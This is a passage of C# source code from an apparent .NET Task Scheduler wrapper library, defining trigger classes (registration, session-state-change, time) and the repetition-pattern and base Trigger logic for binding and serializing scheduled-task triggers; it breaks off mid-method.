/// The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. /// /// /// /// /// [XmlType(IncludeInSchema = false)] public sealed class RegistrationTrigger : Trigger, ITriggerDelay { /// Creates an unbound instance of a . public RegistrationTrigger() : base(TaskTriggerType.Registration) { } internal RegistrationTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan Delay { get => v2Trigger != null ? Task.StringToTimeSpan(((IRegistrationTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero); set { if (v2Trigger != null) ((IRegistrationTrigger)v2Trigger).Delay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(Delay)] = value; OnNotifyPropertyChanged(); } } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() => Resources.TriggerRegistration1; } /// Defines how often the task is run and how long the repetition pattern is repeated after the task is started. /// This can be used directly or by assignment for a . /// /// /// /// /// [XmlRoot("Repetition", Namespace = TaskDefinition.tns, IsNullable = true)] [TypeConverter(typeof(RepetitionPatternConverter))] public sealed class RepetitionPattern : IDisposable, IXmlSerializable, IEquatable, INotifyPropertyChanged { private readonly Trigger pTrigger; private readonly IRepetitionPattern v2Pattern; private TimeSpan unboundInterval = TimeSpan.Zero, unboundDuration = TimeSpan.Zero; private bool unboundStopAtDurationEnd; /// Initializes a new instance of the class. /// /// The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. /// /// /// The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, /// the pattern is repeated indefinitely. /// /// /// If set to true the running instance of the task is stopped at the end of repetition pattern duration. /// public RepetitionPattern(TimeSpan interval, TimeSpan duration, bool stopAtDurationEnd = false) { Interval = interval; Duration = duration; StopAtDurationEnd = stopAtDurationEnd; } internal RepetitionPattern([NotNull] Trigger parent) { pTrigger = parent; if (pTrigger?.v2Trigger != null) v2Pattern = pTrigger.v2Trigger.Repetition; } /// Occurs when a property value changes. public event PropertyChangedEventHandler PropertyChanged; /// Gets or sets how long the pattern is repeated. /// /// The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the /// pattern is repeated indefinitely. /// /// If you specify a repetition duration for a task, you must also specify the repetition interval. [DefaultValue(typeof(TimeSpan), "00:00:00")] public TimeSpan Duration { get => v2Pattern != null ? Task.StringToTimeSpan(v2Pattern.Duration) : (pTrigger != null ? TimeSpan.FromMinutes(pTrigger.v1TriggerData.MinutesDuration) : unboundDuration); set { if (value.Ticks < 0 || value != TimeSpan.Zero && value < TimeSpan.FromMinutes(1)) throw new ArgumentOutOfRangeException(nameof(Duration)); if (v2Pattern != null) { v2Pattern.Duration = Task.TimeSpanToString(value); } else if (pTrigger != null) { pTrigger.v1TriggerData.MinutesDuration = (uint)value.TotalMinutes; Bind(); } else unboundDuration = value; OnNotifyPropertyChanged(); } } /// Gets or sets the amount of time between each restart of the task. /// /// The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. /// /// If you specify a repetition duration for a task, you must also specify the repetition interval. /// /// The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. /// [DefaultValue(typeof(TimeSpan), "00:00:00")] public TimeSpan Interval { get => v2Pattern != null ? Task.StringToTimeSpan(v2Pattern.Interval) : (pTrigger != null ? TimeSpan.FromMinutes(pTrigger.v1TriggerData.MinutesInterval) : unboundInterval); set { if (value.Ticks < 0 || (v2Pattern != null || pTrigger == null) && value != TimeSpan.Zero && (value < TimeSpan.FromMinutes(1) || value > TimeSpan.FromDays(31))) throw new ArgumentOutOfRangeException(nameof(Interval)); if (v2Pattern != null) { v2Pattern.Interval = Task.TimeSpanToString(value); } else if (pTrigger != null) { if (value != TimeSpan.Zero && value < TimeSpan.FromMinutes(1)) throw new ArgumentOutOfRangeException(nameof(Interval)); pTrigger.v1TriggerData.MinutesInterval = (uint)value.TotalMinutes; Bind(); } else unboundInterval = value; OnNotifyPropertyChanged(); } } /// /// Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. /// [DefaultValue(false)] public bool StopAtDurationEnd { get { if (v2Pattern != null) return v2Pattern.StopAtDurationEnd; if (pTrigger != null) return (pTrigger.v1TriggerData.Flags & TaskTriggerFlags.KillAtDurationEnd) == TaskTriggerFlags.KillAtDurationEnd; return unboundStopAtDurationEnd; } set { if (v2Pattern != null) v2Pattern.StopAtDurationEnd = value; else if (pTrigger != null) { if (value) pTrigger.v1TriggerData.Flags |= TaskTriggerFlags.KillAtDurationEnd; else pTrigger.v1TriggerData.Flags &= ~TaskTriggerFlags.KillAtDurationEnd; Bind(); } else unboundStopAtDurationEnd = value; OnNotifyPropertyChanged(); } } /// Releases all resources used by this class. public void Dispose() { if (v2Pattern != null) Marshal.ReleaseComObject(v2Pattern); } /// Determines whether the specified , is equal to this instance. /// The to compare with this instance. /// true if the specified is equal to this instance; otherwise, false. // ReSharper disable once BaseObjectEqualsIsObjectEquals public override bool Equals(object obj) => obj is RepetitionPattern pattern ? Equals(pattern) : base.Equals(obj); /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public bool Equals(RepetitionPattern other) => other != null && Duration == other.Duration && Interval == other.Interval && StopAtDurationEnd == other.StopAtDurationEnd; /// Returns a hash code for this instance. /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. public override int GetHashCode() => new { A = Duration, B = Interval, C = StopAtDurationEnd }.GetHashCode(); /// Determines whether any properties for this have been set. /// true if properties have been set; otherwise, false. public bool IsSet() { if (v2Pattern != null) return v2Pattern.StopAtDurationEnd || !string.IsNullOrEmpty(v2Pattern.Duration) || !string.IsNullOrEmpty(v2Pattern.Interval); if (pTrigger != null) return (pTrigger.v1TriggerData.Flags & TaskTriggerFlags.KillAtDurationEnd) == TaskTriggerFlags.KillAtDurationEnd || pTrigger.v1TriggerData.MinutesDuration > 0 || pTrigger.v1TriggerData.MinutesInterval > 0; return false; } System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null; void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) { if (!reader.IsEmptyElement) { reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns); XmlSerializationHelper.ReadObjectProperties(reader, this, ReadXmlConverter); reader.ReadEndElement(); } else reader.Skip(); } void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => XmlSerializationHelper.WriteObjectProperties(writer, this); internal void Bind() { if (pTrigger.v1Trigger != null) pTrigger.SetV1TriggerData(); else if (pTrigger.v2Trigger != null) { if (pTrigger.v1TriggerData.MinutesInterval != 0) v2Pattern.Interval = $"PT{pTrigger.v1TriggerData.MinutesInterval}M"; if (pTrigger.v1TriggerData.MinutesDuration != 0) v2Pattern.Duration = $"PT{pTrigger.v1TriggerData.MinutesDuration}M"; v2Pattern.StopAtDurationEnd = (pTrigger.v1TriggerData.Flags & TaskTriggerFlags.KillAtDurationEnd) == TaskTriggerFlags.KillAtDurationEnd; } } internal void Set([NotNull] RepetitionPattern value) { Duration = value.Duration; Interval = value.Interval; StopAtDurationEnd = value.StopAtDurationEnd; } /// Called when a property has changed to notify any attached elements. /// Name of the property. private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); private bool ReadXmlConverter(System.Reflection.PropertyInfo pi, object obj, ref object value) { if (pi.Name != "Interval" || !(value is TimeSpan span) || span.Equals(TimeSpan.Zero) || Duration > span) return false; Duration = span.Add(TimeSpan.FromMinutes(1)); return true; } } /// /// Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. /// Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. /// /// /// The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or /// locking or unlocking the session. /// /// /// /// /// /// [XmlType(IncludeInSchema = false)] public sealed class SessionStateChangeTrigger : Trigger, ITriggerDelay, ITriggerUserId { /// Creates an unbound instance of a . public SessionStateChangeTrigger() : base(TaskTriggerType.SessionStateChange) { } /// Initializes a new instance of the class. /// The state change. /// The user identifier. public SessionStateChangeTrigger(TaskSessionStateChangeType stateChange, string userId = null) : this() { StateChange = stateChange; UserId = userId; } internal SessionStateChangeTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. [DefaultValue(typeof(TimeSpan), "00:00:00")] public TimeSpan Delay { get => v2Trigger != null ? Task.StringToTimeSpan(((ISessionStateChangeTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero); set { if (v2Trigger != null) ((ISessionStateChangeTrigger)v2Trigger).Delay = Task.TimeSpanToString(value); else unboundValues[nameof(Delay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets the kind of Terminal Server session change that would trigger a task launch. [DefaultValue(1)] public TaskSessionStateChangeType StateChange { get => ((ISessionStateChangeTrigger)v2Trigger)?.StateChange ?? GetUnboundValueOrDefault(nameof(StateChange), TaskSessionStateChangeType.ConsoleConnect); set { if (v2Trigger != null) ((ISessionStateChangeTrigger)v2Trigger).StateChange = value; else unboundValues[nameof(StateChange)] = value; OnNotifyPropertyChanged(); } } /// /// Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. /// [DefaultValue(null)] public string UserId { get => v2Trigger != null ? ((ISessionStateChangeTrigger)v2Trigger).UserId : GetUnboundValueOrDefault(nameof(UserId)); set { if (v2Trigger != null) ((ISessionStateChangeTrigger)v2Trigger).UserId = value; else unboundValues[nameof(UserId)] = value; OnNotifyPropertyChanged(); } } /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public override void CopyProperties(Trigger sourceTrigger) { base.CopyProperties(sourceTrigger); if (sourceTrigger is SessionStateChangeTrigger st && !StateChangeIsSet()) StateChange = st.StateChange; } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public override bool Equals(Trigger other) => other is SessionStateChangeTrigger st && base.Equals(st) && StateChange == st.StateChange; /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() { var str = Resources.ResourceManager.GetString("TriggerSession" + StateChange.ToString()); var user = string.IsNullOrEmpty(UserId) ? Resources.TriggerAnyUser : UserId; if (StateChange != TaskSessionStateChangeType.SessionLock && StateChange != TaskSessionStateChangeType.SessionUnlock) user = string.Format(Resources.TriggerSessionUserSession, user); return string.Format(str, user); } /// Returns a value indicating if the StateChange property has been set. /// StateChange property has been set. private bool StateChangeIsSet() => v2Trigger != null || (unboundValues?.ContainsKey("StateChange") ?? false); } /// Represents a trigger that starts a task at a specific date and time. /// A TimeTrigger runs at a specified date and time. /// /// /// /// /// public sealed class TimeTrigger : Trigger, ITriggerDelay, ICalendarTrigger { /// Creates an unbound instance of a . public TimeTrigger() : base(TaskTriggerType.Time) { } /// Creates an unbound instance of a and assigns the execution time. /// Date and time for the trigger to fire. public TimeTrigger(DateTime startBoundary) : base(TaskTriggerType.Time) => StartBoundary = startBoundary; internal TimeTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunOnce) { } internal TimeTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets a delay time that is randomly added to the start time of the trigger. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan RandomDelay { get => v2Trigger != null ? Task.StringToTimeSpan(((ITimeTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero); set { if (v2Trigger != null) ((ITimeTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RandomDelay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets a value that indicates the amount of time before the task is started. /// The delay duration. TimeSpan ITriggerDelay.Delay { get => RandomDelay; set => RandomDelay = value; } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() => string.Format(Resources.TriggerTime1, AdjustToLocal(StartBoundary)); } /// /// Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using /// the or the method. /// public abstract partial class Trigger : IDisposable, ICloneable, IEquatable, IComparable, IComparable, INotifyPropertyChanged { internal const string V2BoundaryDateFormat = "yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'FFFK"; internal static readonly CultureInfo DefaultDateCulture = CultureInfo.CreateSpecificCulture("en-US"); internal ITaskTrigger v1Trigger; internal TaskTrigger v1TriggerData; internal ITrigger v2Trigger; /// In testing and may change. Do not use until officially introduced into library. protected Dictionary unboundValues = new Dictionary(); private static bool? foundTimeSpan2; private static Type timeSpan2Type; private readonly TaskTriggerType ttype; private RepetitionPattern repititionPattern; internal Trigger([NotNull] ITaskTrigger trigger, V1.TaskTriggerType type) { v1Trigger = trigger; v1TriggerData = trigger.GetTrigger(); v1TriggerData.Type = type; ttype = ConvertFromV1TriggerType(type); } internal Trigger([NotNull] ITrigger iTrigger) { v2Trigger = iTrigger; ttype = iTrigger.Type; if (string.IsNullOrEmpty(v2Trigger.StartBoundary) && this is ICalendarTrigger) StartBoundary = DateTime.SpecifyKind(DateTime.Now, DateTimeKind.Unspecified); } internal Trigger(TaskTriggerType triggerType) { ttype = triggerType; v1TriggerData.TriggerSize = (ushort)Marshal.SizeOf(typeof(TaskTrigger)); if (ttype != TaskTriggerType.Registration && ttype != TaskTriggerType.Event && ttype != TaskTriggerType.SessionStateChange) v1TriggerData.Type = ConvertToV1TriggerType(ttype); if (this is ICalendarTrigger) StartBoundary = DateTime.SpecifyKind(DateTime.Now, DateTimeKind.Unspecified); } /// Occurs when a property value changes. public event PropertyChangedEventHandler PropertyChanged; /// Gets or sets a Boolean value that indicates whether the trigger is enabled. public bool Enabled { get => v2Trigger?.Enabled ?? GetUnboundValueOrDefault(nameof(Enabled), !v1TriggerData.Flags.IsFlagSet(TaskTriggerFlags.Disabled)); set { if (v2Trigger != null) v2Trigger.Enabled = value; else { v1TriggerData.Flags = v1TriggerData.Flags.SetFlags(TaskTriggerFlags.Disabled, !value); if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(Enabled)] = value; } OnNotifyPropertyChanged(); } } /// /// Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. /// While the maximum value for this property is , the Windows Task Scheduler management /// application that is part of the OS will fail if this value is greater than December 31, 9998. /// /// /// /// Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. /// /// /// Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. /// However, the user interface and methods will always show the time translated to local time. The /// library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, /// the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the /// user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. /// /// [DefaultValue(typeof(DateTime), "9999-12-31T23:59:59.9999999")] public DateTime EndBoundary { get { if (v2Trigger != null) return string.IsNullOrEmpty(v2Trigger.EndBoundary) ? DateTime.MaxValue : DateTime.Parse(v2Trigger.EndBoundary, DefaultDateCulture); return GetUnboundValueOrDefault(nameof(EndBoundary), v1TriggerData.EndDate.GetValueOrDefault(DateTime.MaxValue)); } set { if (v2Trigger != null) { if (value <= StartBoundary) throw new ArgumentException(Resources.Error_TriggerEndBeforeStart); v2Trigger.EndBoundary = value == DateTime.MaxValue ? null : value.ToString(V2BoundaryDateFormat, DefaultDateCulture); } else { v1TriggerData.EndDate = value == DateTime.MaxValue ? (DateTime?)null : value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(EndBoundary)] = value; } OnNotifyPropertyChanged(); } } /// /// Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task /// Scheduler 1.0. /// /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan ExecutionTimeLimit { get => v2Trigger != null ? Task.StringToTimeSpan(v2Trigger.ExecutionTimeLimit) : GetUnboundValueOrDefault(nameof(ExecutionTimeLimit), TimeSpan.Zero); set { if (v2Trigger != null) v2Trigger.ExecutionTimeLimit = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(ExecutionTimeLimit)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. /// Not supported under Task Scheduler 1.0. [DefaultValue(null)] [XmlIgnore] public string Id { get => v2Trigger != null ? v2Trigger.Id : GetUnboundValueOrDefault(nameof(Id)); set { if (v2Trigger != null) v2Trigger.Id = value; else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(Id)] = value; OnNotifyPropertyChanged(); } } /// /// Gets a instance that indicates how often the task is run and how long the repetition pattern is /// repeated after the task is started. /// public RepetitionPattern Repetition { get => repititionPattern ??= new RepetitionPattern(this); set { Repetition.Set(value); OnNotifyPropertyChanged(); } } /// Gets or sets the date and time when the trigger is activated. /// /// /// Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as /// is. If the DateTime value Kind is then it will be converted to the local time and then used. /// /// /// Version 2 (1.2 or higher) of the native library only allows for all values. However, the user /// interface and methods will always show the time translated to local time. The library makes /// every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the /// "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user /// selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. /// /// /// Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will /// behave as follows: /// /// /// YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. /// /// /// YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. /// /// /// YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. /// /// /// /// public DateTime StartBoundary { get { if (v2Trigger == null) return GetUnboundValueOrDefault(nameof(StartBoundary), v1TriggerData.BeginDate); if (string.IsNullOrEmpty(v2Trigger.StartBoundary)) return DateTime.MinValue; var ret = DateTime.Parse(v2Trigger.StartBoundary, DefaultDateCulture); if (v2Trigger.StartBoundary.EndsWith("Z")) ret = ret.ToUniversalTime(); return ret; } set { if (v2Trigger != null) { if (value > EndBoundary) throw new ArgumentException(Resources.Error_TriggerEndBeforeStart); v2Trigger.StartBoundary = value == DateTime.MinValue ? null : value.ToString(V2BoundaryDateFormat, DefaultDateCulture); } else { v1TriggerData.BeginDate = value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(StartBoundary)] = value; } OnNotifyPropertyChanged(); } } /// Gets the type of the trigger. /// The of the trigger. [XmlIgnore] public TaskTriggerType TriggerType => ttype; /// Creates the specified trigger. /// Type of the trigger to instantiate. /// of specified type. public static Trigger CreateTrigger(TaskTriggerType triggerType) { switch (triggerType) { case TaskTriggerType.Boot: return new BootTrigger(); case TaskTriggerType.Daily: return new DailyTrigger(); case TaskTriggerType.Event: return new EventTrigger(); case TaskTriggerType.Idle: return new IdleTrigger(); case TaskTriggerType.Logon: return new LogonTrigger(); case TaskTriggerType.Monthly: return new MonthlyTrigger(); case TaskTriggerType.MonthlyDOW: return new MonthlyDOWTrigger(); case TaskTriggerType.Registration: return new RegistrationTrigger(); case TaskTriggerType.SessionStateChange: return new SessionStateChangeTrigger(); case TaskTriggerType.Time: return new TimeTrigger(); case TaskTriggerType.Weekly: return new WeeklyTrigger(); case TaskTriggerType.Custom: break; default: throw new ArgumentOutOfRangeException(nameof(triggerType), triggerType, null); } return null; } /// Creates a new that is an unbound copy of this instance. /// A new that is an unbound copy of this instance. public virtual object Clone() { var ret = CreateTrigger(TriggerType); ret.CopyProperties(this); return ret; } /// /// Compares the current instance with another object of the same type and returns an integer that indicates whether the current /// instance precedes, follows, or occurs in the same position in the sort order as the other object. /// /// An object to compare with this instance. /// A value that indicates the relative order of the objects being compared. public int CompareTo(Trigger other) => string.Compare(Id, other?.Id, StringComparison.InvariantCulture); /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public virtual void CopyProperties(Trigger sourceTrigger) { if (sourceTrigger == null) return; Enabled = sourceTrigger.Enabled; EndBoundary = sourceTrigger.EndBoundary; try { ExecutionTimeLimit = sourceTrigger.ExecutionTimeLimit; } catch { /* ignored */ } Id = sourceTrigger.Id; Repetition.Duration = sourceTrigger.Repetition.Duration; Repetition.Interval = sourceTrigger.Repetition.Interval; Repetition.StopAtDurationEnd = sourceTrigger.Repetition.StopAtDurationEnd; StartBoundary = sourceTrigger.StartBoundary; if (sourceTrigger is ITriggerDelay delay && this is ITriggerDelay) try { ((ITriggerDelay)this).Delay = delay.Delay; } catch { /* ignored */ } if (sourceTrigger is ITriggerUserId id && this is ITriggerUserId) try { ((ITriggerUserId)this).UserId = id.UserId; } catch { /* ignored */ } } /// Releases all resources used by this class. public virtual void Dispose() { if (v2Trigger != null) Marshal.ReleaseComObject(v2Trigger); if (v1Trigger != null) Marshal.ReleaseComObject(v1Trigger); } /// Determines whether the specified , is equal to this instance. /// The to compare with this instance. /// true if the specified is equal to this instance; otherwise, false. // ReSharper disable once BaseObjectEqualsIsObjectEquals public override bool Equals(object obj) => obj is Trigger trigger ? Equals(trigger) : base.Equals(obj); /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public virtual bool Equals(Trigger other) { if (other == null) return false; var ret = TriggerType == other.TriggerType && Enabled == other.Enabled && EndBoundary == other.EndBoundary && ExecutionTimeLimit == other.ExecutionTimeLimit && Id == other.Id && Repetition.Equals(other.Repetition) && StartBoundary == other.StartBoundary; if (other is ITriggerDelay delay && this is ITriggerDelay) try { ret = ret && ((ITriggerDelay)this).Delay == delay.Delay; } catch { /* ignored */ } if (other is ITriggerUserId id && this is ITriggerUserId) try { ret = ret && ((ITriggerUserId)this).UserId == id.UserId; } catch { /* ignored */ } return ret; } /// Returns a hash code for this instance. /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. public override int GetHashCode() => new { A = TriggerType, B = Enabled, C = EndBoundary, D = ExecutionTimeLimit, E = Id, F = Repetition, G = StartBoundary, H = (this as ITriggerDelay)?.Delay ?? TimeSpan.Zero, I = (this as ITriggerUserId)?.UserId }.GetHashCode(); /// Sets the repetition. /// /// The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. /// /// /// The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, /// the pattern is repeated indefinitely. /// /// /// if set to true the running instance of the task is stopped at the end of repetition pattern duration. /// [Obsolete("Set the Repetition property directly with a new instance of RepetitionPattern.", false)] public void SetRepetition(TimeSpan interval, TimeSpan duration, bool stopAtDurationEnd = true) { Repetition.Duration = duration; Repetition.Interval = interval; Repetition.StopAtDurationEnd = stopAtDurationEnd; } /// Returns a string representing this trigger. /// String value of trigger. public override string ToString() => v1Trigger != null ? v1Trigger.GetTriggerString() : V2GetTriggerString() + V2BaseTriggerString(); /// Returns a that represents this trigger in a specific language. /// The language of the resulting string. /// String value of trigger. public virtual string ToString([NotNull] CultureInfo culture) { using (new CultureSwitcher(culture)) return ToString(); } int IComparable.CompareTo(object obj) => CompareTo(obj as Trigger); internal static DateTime AdjustToLocal(DateTime dt) => dt.Kind == DateTimeKind.Utc ? dt.ToLocalTime() : dt; internal static V1.TaskTriggerType ConvertToV1TriggerType(TaskTriggerType type) { if (type == TaskTriggerType.Registration || type == TaskTriggerType.Event || type == TaskTriggerType.SessionStateChange) throw new NotV1SupportedException(); var tv1 = (int)type - 1; if (tv1 >= 7) tv1--; return (V1.TaskTriggerType)tv1; } internal static Trigger CreateTrigger([NotNull] ITaskTrigger trigger) => CreateTrigger(trigger, trigger.GetTrigger().Type); internal static Trigger CreateTrigger([NotNull] ITaskTrigger trigger, V1.TaskTriggerType triggerType) { Trigger t = triggerType switch { V1.TaskTriggerType.RunOnce => new TimeTrigger(trigger), V1.TaskTriggerType.RunDaily => new DailyTrigger(trigger), V1.TaskTriggerType.RunWeekly => new WeeklyTrigger(trigger), V1.TaskTriggerType.RunMonthly => new MonthlyTrigger(trigger), V1.TaskTriggerType.RunMonthlyDOW => new MonthlyDOWTrigger(trigger), V1.TaskTriggerType.OnIdle => new IdleTrigger(trigger), V1.TaskTriggerType.OnSystemStart => new BootTrigger(trigger), V1.TaskTriggerType.OnLogon => new LogonTrigger(trigger), _ => throw new ArgumentOutOfRangeException(nameof(triggerType), triggerType, null), }; return t; } internal static Trigger CreateTrigger([NotNull] ITrigger iTrigger, ITaskDefinition iDef = null) { switch (iTrigger.Type) { case TaskTriggerType.Boot: return new BootTrigger((IBootTrigger)iTrigger); case TaskTriggerType.Daily: return new DailyTrigger((IDailyTrigger)iTrigger); case TaskTriggerType.Event: return new EventTrigger((IEventTrigger)iTrigger); case TaskTriggerType.Idle: return new IdleTrigger((IIdleTrigger)iTrigger); case TaskTriggerType.Logon: return new LogonTrigger((ILogonTrigger)iTrigger); case TaskTriggerType.Monthly: return new MonthlyTrigger((IMonthlyTrigger)iTrigger); case TaskTriggerType.MonthlyDOW: return new MonthlyDOWTrigger((IMonthlyDOWTrigger)iTrigger); case TaskTriggerType.Registration: return new RegistrationTrigger((IRegistrationTrigger)iTrigger); case TaskTriggerType.SessionStateChange: return new SessionStateChangeTrigger((ISessionStateChangeTrigger)iTrigger); case TaskTriggerType.Time: return new TimeTrigger((ITimeTrigger)iTrigger); case TaskTriggerType.Weekly: return new WeeklyTrigger((IWeeklyTrigger)iTrigger); case TaskTriggerType.Custom: var ct = new CustomTrigger(iTrigger); if (iDef != null) try { ct.UpdateFromXml(iDef.XmlText); } catch { /* ignored */ } return ct; default: throw new ArgumentOutOfRangeException(); } } /// Gets the best time span string. /// The to display. /// Either the full string representation created by TimeSpan2 or the default TimeSpan representation. internal static string GetBestTimeSpanString(TimeSpan span) { // See if the TimeSpan2 assembly is accessible if (!foundTimeSpan2.HasValue) { try { foundTimeSpan2 = false; timeSpan2Type = ReflectionHelper.LoadType("System.TimeSpan2", "TimeSpan2.dll"); if (timeSpan2Type != null) foundTimeSpan2 = true; } catch { /* ignored */ } } // If the TimeSpan2 assembly is available, try to call the ToString("f") method and return the result. if (foundTimeSpan2 == true && timeSpan2Type != null) { try { return ReflectionHelper.InvokeMethod(timeSpan2Type, new object[] { span }, "ToString", "f"); } catch { /* ignored */ } } return span.ToString(); } internal virtual void Bind([NotNull] ITask iTask) { if (v1Trigger == null) { v1Trigger = iTask.CreateTrigger(out var _); } SetV1TriggerData(); } internal virtual void Bind([NotNull] ITaskDefinition iTaskDef) { var iTriggers = iTaskDef.Triggers; v2Trigger = iTriggers.Create(ttype); Marshal.ReleaseComObject(iTriggers); if ((unboundValues.TryGetValue("StartBoundary", out var dt) ? (DateTime)dt : StartBoundary) > (unboundValues.TryGetValue("EndBoundary", out dt) ? (DateTime)dt : EndBoundary)) throw new ArgumentException(Resources.Error_TriggerEndBeforeStart); foreach (var key in unboundValues.Keys) { try { var o = unboundValues[key]; CheckBindValue(key, ref o); v2Trigger.GetType().InvokeMember(key, System.Reflection.BindingFlags.SetProperty, null, v2Trigger, new[] { o }); } catch (System.Reflection.TargetInvocationException tie) when (tie.InnerException != null) { throw tie.InnerException; } catch { /* ignored */ } } unboundValues.Clear(); unboundValues = null; repititionPattern = new RepetitionPattern(this); repititionPattern.Bind(); } /// Assigns the unbound TriggerData structure to the V1 trigger instance. internal void SetV1TriggerData() { if (v1TriggerData.MinutesInterval != 0 && v1TriggerData.MinutesInterval >= v1TriggerData.MinutesDuration) throw new ArgumentException("Trigger.Repetition.Interval must be less than Trigger.Repetition.Duration under Task Scheduler 1.0."); if (v1TriggerData.EndDate <= v1TriggerData.BeginDate) throw new ArgumentException(Resources.Error_TriggerEndBeforeStart); if (v1TriggerData.BeginDate == DateTime.MinValue) v1TriggerData.BeginDate = DateTime.Now; v1Trigger?.SetTrigger(ref v1TriggerData); System.Diagnostics.Debug.WriteLine(v1TriggerData); } /// Checks the bind value for any conversion. /// The key (property) name. /// The value. protected virtual void CheckBindValue(string key, ref object o) { if (o is TimeSpan ts) o = Task.TimeSpanToString(ts); if (o is DateTime dt) { if (key == "EndBoundary" && dt == DateTime.MaxValue || key == "StartBoundary" && dt == DateTime.MinValue) o = null; else o = dt.ToString(V2BoundaryDateFormat, DefaultDateCulture); } } /// Gets the unbound value or a default. /// Return type. /// The property name. /// The default value if not found in unbound value list. /// The unbound value, if set, or the default value. protected T GetUnboundValueOrDefault(string prop, T def = default) => unboundValues.TryGetValue(prop, out var val) ? (T)val : def; /// Called when a property has changed to notify any attached elements. /// Name of the property. protected void OnNotifyPropertyChanged([CallerMemberName] string propertyName = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected virtual string V2GetTriggerString() => string.Empty; private static TaskTriggerType ConvertFromV1TriggerType(V1.TaskTriggerType v1Type) { var tv2 = (int)v1Type + 1; if (tv2 > 6) tv2++; return 